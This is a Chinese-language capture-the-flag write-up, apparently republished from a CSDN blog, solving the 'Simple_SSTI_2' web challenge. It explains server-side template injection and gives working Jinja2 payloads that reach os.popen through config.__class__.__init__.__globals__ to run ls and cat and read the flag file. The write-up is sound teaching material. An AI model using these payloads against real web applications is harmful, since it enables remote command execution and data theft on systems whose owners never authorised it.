欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 会展 > Simple_SSTI_2(WEB)

Simple_SSTI_2(WEB)

2025/2/27 1:54:09 来源:https://blog.csdn.net/Sweet_vinegar520/article/details/145763799  浏览:    关键词:Simple_SSTI_2(WEB)

这道题我也是第一次碰,不过我很好奇为什么我不从SSTI_1开始做

##解题思路

拿到页面一串英文,告诉我们缺少一个flag参数,于是我令flag=1,于是打印了1,输入各种语句也是,原封不动变为传入的字符串

image-20250219205404396

根据题目提示,查了下SSTI,于是得知这道题可能用了SSTI模板注入,因此我们需要验证下

如果{{7*7}}执行结果为49的话,说明,这就是SSTI模板注入!

使用:{{ }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值

{* *}是注释,a{* *}b被模板渲染的结果应该为ab

_class_返回一个实例所属的类
__init__查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper的字眼,说明没有重载
函数名 .__globals__获取 function 所处空间下可使用的 module、方法以及所有变量
os.popen()用于从一个命令打开一个管道
open()用于打开一个文件,并返回文件对象
config当前application的所有配置。 此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

至于模板类型,如图,绿色就是成功执行,红色就是执行失败

先ls查看当前目录下有什么文件或目录,有个app目录?进去看看

/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

发现/app目录下有个flag文件

/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}

将ls改成cat读取到flag文件内容,得到flag

/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

##参考链接:

SSTI(模板注入)漏洞(入门篇):1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

SSTI模版注入(初步):SSTI模版注入(初步)_ssti模板注入-CSDN博客

BUUCTF SSTI模板注入:BUUCTF SSTI模板注入 - 高人于斯 - 博客园

##总结

SSTI 服务器端模板注入(Server-Side Template Injection)

原理:用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

利用点:服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

注意:凡是使用模板的地方都可能会出现 SSTI 的问题

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词